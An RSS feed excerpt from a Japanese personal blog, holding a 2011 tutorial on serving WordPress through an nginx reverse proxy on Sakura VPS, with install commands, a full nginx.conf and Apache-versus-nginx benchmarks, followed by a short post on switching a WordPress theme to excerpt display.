さくらたんどっとびーず » WordPress http://sakuratan.biz モロモロ工事中です Sun, 25 Jun 2023 12:51:51 +0000 ja hourly 1 http://wordpress.org/?v=3.2.1 さくらVPSとnginxリバースプロクシで最速WordPressブログを作る方法（ベンチマーク付き） http://sakuratan.biz/archives/4582 http://sakuratan.biz/archives/4582#comments Wed, 07 Sep 2011 06:07:01 +0000 さくら http://sakuratan.biz/?p=4582 (続きを読む)]]> 負荷的に厳しくなってきたので sakuratan.biz を Apache（さくらスタンダード）から nginx（さくら VPS 512）に移転しました。
頻発していた 503 もほとんど出なくなって快適です。

Apache から VPS の nginx へ WordPress を移転したいと考えている人もいるかなーと思いましたので、さくら VPS で nginx リバースプロクシを使った WordPress ブログの構築する方法をがっつり書いていきたいと思います。

結構長文になってしまいましたので、先に索引を載せときます。

  1. nginx とは
  2. nginx が速い理由
  3. リバースプロクシ
  4. さくら VPS にインストールするシステム構成
  5. EPEL パッケージリポジトリのインストール
  6. MySQL のインストール
  7. PHP のインストール
  8. nginx のインストール
  9. nginx と PHP FastCGI の設定
  10. WordPress のインストール
  11. Nginx Proxy Cache Purge WordPress プラグインのインストール
  12. ベンチマーク
  13. 参考サイト

nginx が速い速いとだけ言われてもいまいち腑に落ちない方もいらっしゃるかと思いましたので、最初の方の章は nginx 自体の説明にしました。前置きは置いといてとりあえずインストール方法を知りたい方は、『さくら VPS にインストールするシステム構成』あたりからどうぞ。ちなみにさくら VPS は CentOS ですので、他のレン鯖でも OS が同じなら同じ手順でインスコできると思います。

サンプルのファイルをまとめた zip を nginx-examples.zip に置いてますので、とりあえずファイルだけ欲しいって人はこちらをどうぞ。

あと、なんとなくあった方が良いかなーと思いまして Apache と nginx のベンチマークもしてみました。結果の方は最後の方に載せてますが、結論だけ言えば nginx は多い日も安心のロリエセーフティロング高性能です。

nginx とは

まず最初に nginx の wiki から引用します。

Nginxはその高いパフォーマンスと安定性、豊富な機能、設定の容易さ、消費リソースの低さで知られています。

NginxはC10K問題に取り組むべく開発された一握りのサーバのうちの一つです。従来のサーバとは異なり、Nginxはリクエストの処理をスレッドに依存していません。その代わりにもっとスケーラブルな（非同期の）イベント駆動アーキテクチャを使用しています。このアーキテクチャはメモリ使用量が少ないだけでなく、最も重要な事として、稼働時のメモリ使用量が予測可能であるということです。

http://wiki.nginx.org/NginxJa

C10K問題とは、ハードウェアは安くなって大量のクライアントを同時処理できるようになったけど、OS やサーバプログラムの実装がボトルネックになってて1万（=10K）クライアント以上は処理できない(*´・ω・)(・ω・｀*)ﾈｰ、という問題です。（Web2.0の先にあるC10K問題 － ＠IT の説明が分かりやすいと思いますので詳しく知りたい方はどうぞ。）

上の概要に書いてますが、nginx はC10K問題を解決すべく作られた新しいウェブサーバですので、Apache 等の従来からあるウェブサーバと比べて本質的にスケーラブルなシステムとなっています。

nginx が速い理由

開発されてる方でしたら、nginx が速いと言う話をどこかで聞いた事があるかと思います。

実際のところ nginx が速いと言うよりも、nginx は Apache などの従来のサーバと比べ少ないリソースで複数の HTTP リクエストを処理できるように設計されているため、サーバが負荷の高い状態になっても性能が劣化しにくい、と言うのがより正確だと思います。

ということで、nginx が高負荷状態に強い仕組みについて簡単に説明しようと思います。

nginx では外部からのネットワークコネクションを受け付けるプロセスをマスタープロセス、HTTP リクエストに対するレスポンスを返すプロセスをワーカープロセスと呼びます。マスタープロセスはコネクションを受け取ると稼働中のワーカープロセスのいずれかに HTTP レスポンスを返す処理を行うよう指示します。（マスター／ワーカープロセス構成自体は TCP/IP ベースの Unix daemon の一般的な構成ですので速い理由と関係ありません。）

nginx のワーカープロセスは（kqueue (FreeBSD 4.1以降)／epoll (Linux 2.6以降) などのカーネルによって異なる）非同期 I/O 通知メソッドを使い、複数のリクエスト／レスポンスを一つのプロセスで平行して同時に処理します。

一方、Apache などの従来のウェブサーバでは、リクエストを応答するプロセスは同期 I/O を使います。同期 I/O を使うと一つのワーカープロセスは複数の HTTP リクエストを同時に処理することができません。複数の HTTP リクエストを処理する場合は、先行するリクエストが完了するのを待って順次処理していきます。

Apache の場合、サーバにアクセスが集中し応答すべきリクエストが増えてきて、既に起動しているワーカープロセスだけでは処理が追いつかなくなると、新しいワーカープロセスを起動したり／新しいワーカープロセスを起動できない場合応答中のレスポンスの完了を待ってからリクエスト処理を開始することになります。

ワーカープロセスはそれぞれある程度のメモリを使用しますので、システムリソースから決まる同時応答可能な上限を越えると（スラッシングが発生するなどの原因で）ウェブサーバ全体の性能が急激に悪化します。（MPM worker を使って Apache をマルチスレッドで動かす場合も、1スレッドに対してそれなりのシステムリソースが必要となりますので、高負荷状態においてこの問題はそれほど改善しないです。）

それに対して nginx の場合、非同期 I/O を使って一つ（設定により増やせますがあくまで少数）のワーカープロセスですべてのリクエストを処理するよう設計されいます。必要なシステムリソースが少ないので、Apache では性能が悪化する局面でも極端に性能が悪化しません。なので nginx は速い、ということになります。

ちなみにワーカープロセスが行うレスポンス処理については Apache と nginx で特に性能に差がある訳ではありませんので、1リクエスト当たりの実処理時間はだいたい同じです。（一部のベンチマークではレスポンス自体は nginx の方が遅いという数字が出ていますが、自分のサイトで測った限りでは意味のある差はでませんでした。いずれにしても今時のサーバだと、ワーカープロセスの性能の優劣は特に気にする必要はないと思います。）

　_______________________
　　　　　＜○√　　くそっもうだめか・・!!
　　　　　 くく　　　リクエストが多すぎる、Apacheでは処理しきれない・・・
　________________________________
　　　　　　　　~|
　　　　　　　　　＼○　　　　大丈夫か？BOY
　　　　　 　 　　　 ∥＼
　　　<○>　　　　 ∥／
　　　 ∥　　　　／ |
　　 　>>　　　　＼ |
　nginxさん！！

リバースプロクシ

リバースプロクシとは、ざっくり言いますとウェブサーバをまるごとキャッシュする機能です。

WordPress などを動かす場合、アプリケーションを実行する部分がウェブサーバのボトルネックとなります。このボトルネックを解消するために、WP Super Cache などのアプリケーションレベルでのキャッシュや mod_cache などのウェブサーバレベルでのキャッシュがありますがウェブサーバと別にリバースプロクシサーバを用意しプロクシサーバがキャッシュを行うという解決方法もあります。

リバースプロクシを加えたウェブサーバの処理は下図のようになります。

リバースプロクシサーバがフロントエンドとなり、80 番ポートで外部からの HTTP リクエストを受け取ります。
リクエストされた URL がキャッシュされていれば、プロクシサーバはキャッシュ済みのレスポンスを返します。
キャッシュされていなければウェブサーバへリクエストを転送し、レスポンスをキャッシュして返します。

プロクシサーバには PHP スクリプトを実行する機能などは不要ですので、通常ウェブサーバよりも高速に動くよう実装されています。システム構成にリバースプロクシを加えることで全体での処理能力が高くなります。

nginx をリバースプロクシにする場合、リバースプロクシの設定が簡単なので（一つの設定ファイルにフロントエンドのプロクシサーバとバックエンドのウェブサーバの設定を記述できます）、とりあえずリバースプロクシも立てとけって感じです。

ちなみに、nginx をリバースプロクシに、バックエンドのウェブサーバは元から動いていた Apache そのまま、といった構成も可能です。VPS（特にさくら VPS 512）ではメモリサイズ的にこの構成は少し厳しいと思いますが、リソースにある程度余裕がある状況では費用対効果の高い性能改善策になると思います。

さくら VPS にインストールするシステム構成

ということで、nginx 自体の説明はこの辺にして、さくら VPS で nginx リバースプロクシを有効にした WordPress ブログのインストール方法について説明していきたいと思います。

まずさくら VPS のデフォルト OS は CentOS でして、OS はそのまま使う設定で話を進めます（VPS に Debian 入れたりする人は nginx の How To 記事なんか見なくても自分で設定できると思いますし）。CentOS ならさくら VPS 以外のサーバでもだいたい同じような手順でインスコできると思います（プレインストールされている yum パッケージの構成やバージョンが違う場合、一部異なる手順になるかもしれませんが）。

インストールするシステム構成はこんな感じです。リバースプロクシ／ウェブサーバともに nginx を使います。nginx には PHP を実行する機能がありませんので、FastCGI サーバとして PHP を実行します。

  • nginx 1.0.6 + Cache Purge plugin
  • PHP 5.3.3 + FastCGI + eAccelerator
  • MySQL 5.0.77
  • WordPress 3.2.1-ja

MySQL は yum のパッケージから普通にインスコします。

PHP は最近 yum に追加されたっぽい php53 パッケージを使います。eAccelerator があった方が良いのですが、php53 系列には eAccelerator のパッケージが無いのでこれだけソースからインスコします。

nginx はソースからビルドしてインスコします。nginx のパッケージが EPEL リポジトリにあるのですが、WordPress を動かす場合パッケージ版の nginx には含まれていない Cache Purge プラグインが欲しいので、パッケージは使いません。（nginx にプラグインを追加する場合はビルド時に組み込む必要があります。）

以下、EPEL のインスコ、MySQL インスコ／起動、PHP インスコ、nginx インスコ、nginx / PHP FastCGI の設定、WordPress インスコ…みたいな順番で書いてます。知ってるところは適当に読み飛ばしてください。

特に明記しない場合すべて root で作業を行う前提で書いています。まずサーバにログインして su するか sudo してください。

EPEL パッケージリポジトリのインストール

最初に EPEL パッケージをインスコします。EPEL の公式サイト から epel-release-5-4.noarch.rpm をダウンロードして rpm コマンドでインスコします。（EPEL 6 系列は CentOS にはインストールできませんので epel-release-5-4.noarch.rpm もしくはバージョン 5 系列の最新版をインストールしてください。）

wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-5-4.noarch.rpm
rpm -Uvh epel-release-5-4.noarch.rpm

EPEL パッケージのインスコ方法も含めて、yum 関係で VPS を借りたら最初にしといた方が良い作業が ウェブ開発者のための、1時間でできるLAMP環境構築術（CentOS編） – さくらインターネット創業日記に書かれてますので、よく分からない人はまずはこちらをご覧ください。

MySQL のインストール

MySQL は yum パッケージをインスコします。

yum install mysql mysql-server

インスコしたらサーバを起動し、chkconfig でリブート時に MySQL サーバが立ち上がるように設定します。

/etc/init.d/mysqld start
/sbin/chkconfig --level 345 mysqld on

PHP のインストール

yum から php53 パッケージをインスコし、eAccellaretor だけソースからビルドします。

yum install php53 php53-cli php53-xml php53-mysql php53-mbstring php53-devel

php53-xml は要らないような気もしますが検証するの忘れてましたのでとりあえずインストールするということで。

PHP をインスコできたら、eAccellaretor のソースコードを SourceForge からダウンロードして展開します。（eAccellaretor のビルド作業については、make install 以外は一般ユーザーで作業しても問題ないです。）

wget http://downloads.sourceforge.net/sourceforge/eaccelerator/eaccelerator-0.9.6.1.zip
unzip eaccelerator-0.9.6.1.zip

ビルドしてインスコします。

cd eaccelerator-0.9.6.1
phpize
./configure --enable-eaccelerator
make
make install

make install で /usr/lib64/php/modules に eaccelerator.so がコピーされますので、/etc/php.ini の extension に eaccelerator.so を追加します。

;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;

extension=eaccelerator.so

デフォルトでは eaccelerator.cache_dir が /tmp/eaccelerator になっていますが個人的に /var/tmp 以下にしたいので、php.ini の末尾に以下の設定を加えます。デフォルトで問題ない場合はそのままでどうぞ。

[eAccelerator]
eaccelerator.cache_dir = "/var/tmp/eaccelerator"

eaccelerator.cache_dir を作ります。パーミッションはサーバによって適当に変えてください。

mkdir -p /var/tmp/eaccelerator
chmod 777 /var/tmp/eaccelerator

nginx のインストール

nginx をソースからビルドするため、ビルドと実行に必要な yum パッケージをインスコします。

yum --enablerepo=epel install make automake gcc gcc-c++ rpm-build spawn-fcgi \
pcre-devel zlib-devel openssl-devel libxslt-devel GeoIP-devel gd-devel

スクラッチからビルドすると init.d のスクリプト等を用意しないといけないので、nginx のソースパッケージ (SRPM) をダウンロードしてから、最新版の nginx を Cache Purge Plugin 付きでビルドするように nginx.spec を書き換えます。

まず EPEL 配布サイトから nginx の SRPM nginx-0.8.54-1.el5.src.rpm をダウンロードします。

wget http://download.fedora.redhat.com/pub/epel/5/SRPMS/nginx-0.8.54-1.el5.src.rpm

SRPM は rpm コマンドでインスコします。/usr/src/redhat/SPEC に nginx.conf が、/usr/src/redhat/SOURCES に SRPM に含まれるファイルが展開されます。

rpm -ivh nginx-0.8.54-1.el5.src.rpm

rpm -ivh を実行する際に mockbuild ユーザーが存在しないためワーニングが出ますが無視して問題ないです。

SRPM をインスコできたら、/usr/src/redhat/SOURCES に最新版の nginx と Cache Purge plugin をダウンロードします。

cd /usr/src/redhat/SOURCES
wget http://nginx.org/download/nginx-1.0.6.tar.gz
wget http://labs.frickle.com/files/ngx_cache_purge-1.3.tar.gz

nginx-1.0.6 で Cache Purge を有効にした nginx.spec を nginx.spec に置いてますので /usr/src/redhat/SPECS ディレクトリにダウンロードしてからビルドします。

cd /usr/src/redhat/SPECS
mv nginx.spec nginx.spec.orig
wget http://sakuratan.biz/nginx/nginx.spec
rpmbuild -bb nginx.spec

ビルドが終われば /usr/src/redhat/RPMS/x86_64 に nginx-1.0.6-1.x86_64.rpm が作成されますので rpm コマンドでインスコします。

rpm -Uvh /usr/src/redhat/RPMS/x86_64/nginx-1.0.6-1.x86_64.rpm

nginx と PHP FastCGI の設定

必要なものがインスコできたら nginx の設定をしていきます。

PHP FastCGI サーバ起動用スクリプトの作成

FastCGI サーバとして PHP を起動するためのスクリプトを php-fastcgi に置いていますので、ダウンロードしてから /etc/init.d に置きます。

wget http://sakuratan.biz/nginx/php-fastcgi
mv php-fastcgi /etc/init.d
chmod 755 /etc/init.d/php-fastcgi

PHP FastCGI サーバの実行ユーザー等を変更する場合は、php-fastcgi スクリプトの以下の箇所を変更してください。なお、以下の説明では 9000 番ポート上で PHP FastCGI サーバを起動する設定で例示しています。また、FastCGI サーバとの通信に TCP/IP ではなく Unix ドメインソケットを使用したい場合は php-fastcgi の spawn-fcgi の起動方法を変更してください（変更方法は各自で調べてください）。

user=nginx
group=nginx
host=127.0.0.1
port=9000
pidfile=/var/run/nginx/php-fastcgi.pid
numclients=5

pidfile を作成するディレクトリは、PHP FastCGI サーバの実行ユーザー（変更しなければ nginx）から書き込める必要がありますので、php-fastcgi スクリプトをデフォルトのまま使う場合は予め /var/run/nginx ディレクトリを作成する必要があります。

mkdir /var/run/nginx
chown nginx:nginx /var/run/nginx

以上の作業が終われば、とりあえず php-fastcgi を起動してみます。

/etc/init.d/php-fastcgi start

エラーが出る場合は設定を確認してください。

nginx.conf の修正

/etc/nginx/nginx.conf にリバースプロクシとバックエンドウェブサーバと PHP FastCGI サーバの設定を追加します。ちょっと長いですが全部貼ります。サーバにファイルを置いてますのでコピペして使いたい方は nginx.conf をどうぞ。

user              nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log;
#error_log  /var/log/nginx/error.log  notice;
#error_log  /var/log/nginx/error.log  info;

pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;

    keepalive_timeout  5;

    gzip  on;
    gzip_disable "MSIE [1-6]\.";

    proxy_cache_path  /var/cache/nginx levels=1:2 keys_zone=czone:4m max_size=50m inactive=120m;
    proxy_temp_path   /var/tmp/nginx;
    proxy_cache_key   "$scheme://$host$request_uri";
    proxy_set_header  Host               $host;
    proxy_set_header  X-Real-IP          $remote_addr;
    proxy_set_header  X-Forwarded-Host   $host;
    proxy_set_header  X-Forwarded-Server $host;
    proxy_set_header  X-Forwarded-For    $proxy_add_x_forwarded_for;

    upstream backend {
        ip_hash;
        server 127.0.0.1:8080;
    }

    server {
        listen       80;
        server_name  example.com;

        location / {
            if ($http_user_agent ~* '(DoCoMo|J-PHONE|Vodafone|MOT-|UP\.Browser|DDIPOCKET|ASTEL|PDXGW|Palmscape|Xiino|sharp pda browser|Windows CE|L-mode|WILLCOM|SoftBank|Semulator|Vemulator|J-EMULATOR|emobile|mixi-mobile-converter)') {
                set $mobile 1;
            }
            if ($http_user_agent ~* '(iPhone|iPod|Opera Mini|Android.*Mobile|NetFront|PSP|BlackBerry)') {
                set $mobile 2;
            }
            if ($http_cookie ~* "comment_author_[^=]*=([^%]+)%7C|wordpress_logged_in_[^=]*=([^%]+)%7C") {
                set $do_not_cache 1;
            }
            proxy_no_cache     $do_not_cache;
            proxy_cache_bypass $do_not_cache;
            proxy_cache czone;
            proxy_cache_key "$scheme://$host$request_uri$is_args$args$mobile";
            proxy_cache_valid  200 301 302 10m;
            proxy_cache_valid  404 5m;
            proxy_cache_use_stale  error timeout invalid_header updating
                                   http_500 http_502 http_503 http_504;
            proxy_pass http://backend;
            proxy_redirect http://example.com:8080/ /;
        }

        location ~ /purge(/.*) {
            allow 127.0.0.1;
            allow 192.0.2.1;
            deny all;
            proxy_cache_purge czone "$scheme://$host$1$is_args$args$mobile";
        }
    }

    server {
        listen       8080;
        server_name  example.com;

        location / {
            root   /var/www/html;
            index  index.html index.htm index.php;
        }

        error_page  404              /404.html;
        location = /404.html {
            root   /usr/share/nginx/html;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

        location ~ \.php$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
            include        fastcgi_params;
        }

        location ~ /\.ht {
            deny  all;
        }
    }

    # Load config files from the /etc/nginx/conf.d directory
    include /etc/nginx/conf.d/*.conf;
}

この設定ファイルは以下のサーバ環境用に設定しています。サーバ環境に応じて適宜修正してください。

  • サーバの IP アドレス: 192.0.2.1
  • ホスト名: example.com
  • HTML ドキュメントルート: /var/www/html
  • リバースプロクシのポート: 80
  • バックエンドウェブサーバのポート: 8080
  • PHP FastCGI サーバのポート: 9000

ドキュメントルートに対して nginx ユーザーから読み込み権限が必要になります。WordPress を使用する場合ウェブディレクトリに対して書き込み権限も必要ですので、ドキュメントルートのオーナーを nginx ユーザー（FastCGI の実行ユーザー）に変更しておく方が良いかもしれません。

リバースプロクシのキャッシュを PC と携帯とスマートフォンで切り替える設定を入れています。不要な方は location / の設定を以下のように変更してください。Ktai Style や WPTouch を使う場合はそのままで。

        location / {
            proxy_no_cache     $do_not_cache;
            proxy_cache_bypass $do_not_cache;
            proxy_cache czone;
            proxy_cache_key "$scheme://$host$request_uri$is_args$args";
            proxy_cache_valid  200 301 302 10m;
            proxy_cache_valid  404 5m;
            proxy_cache_use_stale  error timeout invalid_header updating
                                   http_500 http_502 http_503 http_504;
            proxy_pass http://backend;
            proxy_redirect http://example.com:8080/ /;
        }

設定ファイルを自分の環境用に書き換えたら nginx を動かします。

/etc/init.d/nginx start

この状態でブラウザからホストにアクセスすると 403 Forbidden が表示されると思います。

ドキュメントルートに空のファイルを作成し、ブラウザでアクセスできるか確認します。

cp /dev/null /var/www/html/index.html

同じく phpinfo を実行するスクリプトを作成し、ブラウザでアクセスできるか確認します。

echo '<?php phpinfo() ?>' > /var/www/html/phpinfo.php

動作が確認できたら index.html と phpinfo.php を削除し（残してても良いですけど）、chkconfig を実行してリブート時に nginx と PHP FastCGI サーバが起動するように設定します。

/sbin/chkconfig --level 345 nginx on
/sbin/chkconfig --level 345 php-fastcgi on

WordPress のインストール

PHP の動作が確認できれば、WordPress のインストール自体は Apache の場合とそれほど違いません。

まず VPS ですので mysql コマンドでデータベースを作ります。

CREATE DATABASE wordpress DEFAULT charset utf8;
GRANT ALL ON wordpress.* TO 'wpuser'@'localhost' IDENTIFIED BY 'password';

ja.wordpress.org から最新版の WordPress をダウンロードして /var/www/nginx に展開します。

cd /var/www/nginx
wget http://ja.wordpress.org/latest-ja.zip
unzip /tmp/latest-ja.zip
chown -R nginx:nginx wordpress

wordpress ディレクトリの wp-config-sample.php を wp-config.php にコピーし、

cd wordpress
cp wp-config-sample.php wp-config.php

wp-config.php にデータベース設定と FS_METHOD を追加します。FS_METHOD を direct にすると、WordPress プラグインなどのダウンロード時に ftp を使用せず PHP スクリプトから直接ダウンロードするようになります。必須ではありませんが、VPS で ftp の設定をわざわざするのも面倒なので付けてます。

define('DB_NAME', 'wordpress');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'password');
define('FS_METHOD', 'direct');

WordPress の設定が終わったら、ブラウザでアクセスする前に、/wordpress/wp-admin へのアクセスをキャッシュしないよう nginx.conf のリバースプロクシの設定を変更します。（この修正を入れた nginx.conf を nginx-wordpress.conf に置いています。）

    server {
        listen       80;
        server_name  example.com;

        location /wordpress/wp-admin/ {
            proxy_pass http://backend;
        }

        location / {

nginx.conf を修正したらリブートします。

/etc/init.d/nginx restart

これでブラウザから http://example.com/wordpress/ などのインストールした URL にアクセスすると WordPress のインストーラが立ち上がります。

パーマリンクの変更

パーマリンクを /wordpress/archives/1 等の形式に変更する場合、WordPress の設定を変える前に nginx.conf のバックエンドサーバの設定を変更する必要があります。

WordPress のインストール先が /wordpress/ で、/wordpress/ 以下のみを WordPress として運用する場合（トップページを WordPress に割り当てない）は、以下のように nginx.conf の location / に if (!-f $request_filename) { } を加え、location /wordpress を加えます。

    server {
        listen       8080;
        server_name  example.com;

        location / {
            root   /var/www/nginx;
            index  index.html index.htm index.php;
            if (-f $request_filename) {
                break;
            }
        }

        location /wordpress {
            root   /var/www/nginx;
            index  index.html index.htm index.php;
            if (!-e $request_filename) {
                rewrite ^(.+)$  /wordpress/index.php?q=$1 last;
            }
        }

設定を変更したら nginx をリブートします。

/etc/init.d/nginx restart

nginx をリブートしたら WordPress のパーマリンク設定を変更します。

パーマリンクの変更（WordPress ディレクトリとは別のディレクトリにサイトのホームページを設定する場合）

なにを言ってるかよく分からないかもしれませんが、WordPress の一般設定で以下のキャプチャのように WordPress のアドレス (URL) とサイトのアドレス (URL) を変えた場合に、パーマリンクの変更を行うための設定方法です。

この設定を行う場合、まず wordpress/index.php をコピーして HTML ドキュメントルートに index.php を作ります。

cd /var/www/html
cp wordprses/index.php index.php

コピーした index.php の require 部分を以下のように書き換えます。

require('./wordpress/wp-blog-header.php');

nginx.conf のバックエンドサーバの設定を書き換えてから、nginx をリブートします。

    server {
        listen       8080;
        server_name  example.com;

        location / {
            root   /var/www/nginx;
            index  index.html index.htm index.php;
            if (-f $request_filename) {
                break;
            }
            if (!-e $request_filename) {
                rewrite ^(.+)$  /index.php?q=$1 last;
            }
        }

nginx をリブートが完了したら WordPress のパーマリンク設定を変更してください。

Nginx Proxy Cache Purge WordPress プラグインのインストール

WordPress のインスコが終わったら Nginx Proxy Cache Purge WordPress プラグインを入れます。普通に WordPress のダッシュボードからインスコしてください。

このプラグインを入れると、記事を更新した際に nginx のキャッシュがパルスのファルシのルシがパージされるようになります。このプラグインを入れないと nginx のキャッシュタイムアウトまでの間（上の設定だと10分）古い内容で表示されることになりますので、nginx でリバースプロクシ立てたサイトで WordPress を動かすときは一緒にインスコしておいた方が良いです。

ちなみにこのプラグイン、パージ URL が /purge/* 固定（上の nginx の設定はこれに合わせています）でソースコード中にハードコーディングされていますので、パージ URLを変更したい場合はプラグインのソースを書き換える必要があります。上の nginx の設定例ではパージ URL を /purge にしてますので書き換えなくても問題ありませんが、変更したい場合はちょっと不便かもです。

nginx purge とかで WordPress プラグインを検索すると、他にも nginx のキャッシュをパージするためのエナがチャンガしてるプラグインが何個かありますので、他に良さげなのがあればそちらをどうぞ。

ちなみに、リバースプロクシでキャッシュしている場合は WP Super Cache 等のキャッシュプラグインは要りませんので、他のサイトから移行してきた場合キャッシュ関係のプラグインは無効または削除した方が良いと思います。

ベンチマーク

画竜点睛を欠くふいんき（なぜかry）でしたので、さくら VPS 512 上で httperf でWordPress のベンチマークを取ってみました。ついでにさくらスタンダードの WordPress に対してもベンチマークを取っていますが、こちらはサーバ環境が違いすぎるのであくまでも参考値ということで。

VPS の Apache はほぼデフォルトの設定／VPS の nginx はリバースプロクシありの設定ですので、ぶっちゃけフェアな比較ではありませんがまあこんなもんだと思います。（Apache の mod_cache を有効にするとか性能的な対策が可能ですが、別の VPS 鯖で mod_cache 入れたら過負荷になったときにサーバが落ちた（入れる前は過負荷でも落ちなかった）のでピーク時性能についてはどっちもどっちだと思います。まあ細かいことを言い出したらキリが無いので別の条件でベンチ取りたい人はよろしく〜(^o^)／）

まず最初のグラフは1秒あたりのサーバが返したレスポンス数です。

グラフのY軸がレスポンス数／秒、X軸が1秒あたりにクライアントから同時に発生したリクエスト数です。

nginx が nginx の WordPress トップページに対するベンチマーク、apache(VPS) が VPS 上で動かした Apache の WordPress トップページに対するベンチマーク、apache(STD) がさくらスタンダード上（の Apache）で動かした WordPress トップページに対するベンチマークの値です。

一個だけ見てもよく分からない部分が多々ありますので先にグラフを全部貼ります。

次のグラフは正常に完了したリクエストのレスポンスタイム(ミリ秒）です。

同時リクエスト数 70 〜 80 の間で Apache (VPS) のレスポンスタイムが 0 になっているのは、次のグラフのとおりサーバが落ちていたためです。

最後のグラフはエラーが返された数です。

Apache (VPS) では、リクエスト数（X軸）が70と80の時にエラーが70と80返されています。ベンチマークのリクエストが50を越えたあたりからサーバが処理しきれなくなって、70 〜 80 の間完全に落ちた状態となり、（このベンチマークは連続して行いましたので）90ぐらいから先に送ったリクエストが（タイムアウトなどで）終了し始め、100リクエストのころにはちょっと回復していた感じになっています。

Apache (STD) が微妙にエラーを出してるのは、アクセス制御用のモジュールを入れているからだと思いますが、自分で設定したサーバでは無いので詳細は不明です。

以上から、

  • nginx: 25 〜 44 リクエスト／秒のスループットで、同時リクエスト数が 60 を越えたあたりからレスポンスタイムが悪化（最高値 720.2 ms)、同時リクエスト数が 90 を越えたあたりからエラーが出始める。
  • Apache (VPS): 13 〜 24 リクエスト／秒のスループットで、同時リクエスト数が 20 を越えたあたりからレスポンスタイムが悪化（最高値 3643.2 ms)、同時リクエスト数が 50 を越えたあたりからエラーが出始め、一時完全に落ちた。
  • Apache (STD): 18 〜 30 リクエスト／秒のスループットで、レスポンスタイムは線形に悪化していないので詳細不明、割とすぐにエラーを返し始める。共有サーバだし詳細もよく分からんのでご勘弁を。

みたいな感じだと思います。

とりあえず VPS で WordPress を動かすなら nginx 使う方が良い(*´・ω・)(・ω・｀*)ﾈｰ、って結果でした。

VPS についてはベンチマーク中に Load Average も計ってたんですが、nginx の最高値が 0.14、Apache の最高値が 132.56 でした。お話にならんって感じです。

VPS サーバで一番メモリを使ってるのは MySQL サーバですので、ここをチューニングするとさらに速くできるかも、です。
nginx のキャッシュに memcached を使ったりもできるのですが、さくら VPS 512 にデータベースやらなんやら全部置いててメモリ的に厳しいので今のところパスしてます。

こちらの記事によると別の VPS に DB サーバを立てたりしてもおkみたいですので、チューニングの余地は結構ある感じです。
さくらクラウドで動かすのもいいかもしれませんねー。

てことで、WordPress が重い重い言ってる人は nginx に乗り換えチャイナYOU！

参考サイト

最後に sakuratan.biz を nginx に移行する際に参考にしたページのリンクを貼っときます。この記事のとおり作業してみたけど何かうまくいかないって時は以下のサイトに解決方法があると思います。

]]> http://sakuratan.biz/archives/4582/feed 390 WordPressのthe_contentをthe_excerptを変えようとしたら超大変だったでござるorzの巻 http://sakuratan.biz/archives/4663 http://sakuratan.biz/archives/4663#comments Sat, 03 Sep 2011 07:28:04 +0000 さくら http://sakuratan.biz/?p=4663 (続きを読む)]]> 前にちょっとだけ WordPress の一覧ページの表示を抜粋形式にしてたことがあって、そん時は more を使っていたんですが、今回 the excerpt を使って抜粋表示に直そうとしたらエラいはまったんで、その辺のことをメモっとこうと思います。

the_content を the_excerpt に変えたら個別ページも抜粋表示になったでござるorzの巻

とりあえず WordPress テーマの中の index.php で the_content を呼び出してる箇所を the_excerpt に変えたらいーんだろ？とか思って適当にいじくってみたら、個別ページ（ブログとかページとか）も含めて WordPress 全部が抜粋表示になっちゃいました、テヘ☆

the_excerpt が適当に記事の内容判断して抜粋に切り替えてくれるのかと思ったんですが、この関数は単に抜粋表示するだけのもので、どのページを抜粋にするかは自分で制御しないといけないみたいです。

twentyeleven テーマとかだと元から the_excerpt が入ってて適当にやってくれるみたいなんですが、今 sakuratan.biz で使ってる barecity テーマの場合はそういう処理が入ってないので自分で設定しないといけないっぽいです。

で、色々試行錯誤したあげく↓みたいな感じでテーマの index.php を修正しました。

if (is_singular()) {
    the_content(__('(more...)'));
} else {
    the_excerpt();
}

is_singular() は個別ページの時に真になります。

the_content の引数 __(‘(more…)’) は前に more を使って抜粋していたときの名残りですのであんま気にしないでください。

twentyeleven とかですとこの辺は↓みたいな感じになってます。

if (is_search()) {
    the_excerpt();
} else {
    the_content(__('(more...)'));
}

is_search() は検索結果表示の時だけ真になりますので、twentyeleven ですと検索時以外は全文表示してます。

WordPress の is_ 関数は wp-includes/query.php で定義されていますので、色々試してみたい方はソース見てください。

excerpt_length フィルタを設定しても抜粋表示文字数が変わらないでござるorzの巻

一覧に表示する抜粋の長さは、excerpt_length フィルタで制御できるみたいなんで、テーマの functions.php を↓みたいに変えて400文字に設定しようとしたら全然表示数が変わりませんでした。

functionn new_excerpt_length($length) {
     return 400;
}
add_filter('excerpt_length', 'new_excerpt_length');

ソース grep して調べた結果、WP Multibyte Patch に excerpt_mblength フィルタというのがあって、excerpt_length > excerpt_mblength になると excerpt_mblength のデフォルト値で切り捨てられているため、設定したフィルタが有効になっていない感じでした。

ちなみに WP Multibyte Patch をインスコした状態の excerpt_length とexcerpt_mblength のデフォルト値は 55 と 110 です。

で、最終的に functions.php は↓のようにしました。

functionn new_excerpt_length($length) {
     return 400;
}
add_filter('excerpt_length', 'new_excerpt_length');

function new_excerpt_mblength($length) {
    return 200;
}
add_filter('excerpt_mblength', 'new_excerpt_mblength');

なお WP Multibyte Patch は独自の設定ファイルがあり、wp-content/plugins/wp-multibyte-patch/wpmp-config-sample.php を wp-contents/wpmp-config.php にコピーして設定を書き込むとそれがデフォルトになるみたいです。

なんか面倒くさそうなので functions.php で直しましたが、そういう方法もあるってことで。

ちなみに今回 the_excerpt に変えたかった理由は、抜粋表示してたときの方が Google からのアクセスが多かったからです。( ﾟ∀ﾟ)o彡ﾟSEO！SEO！

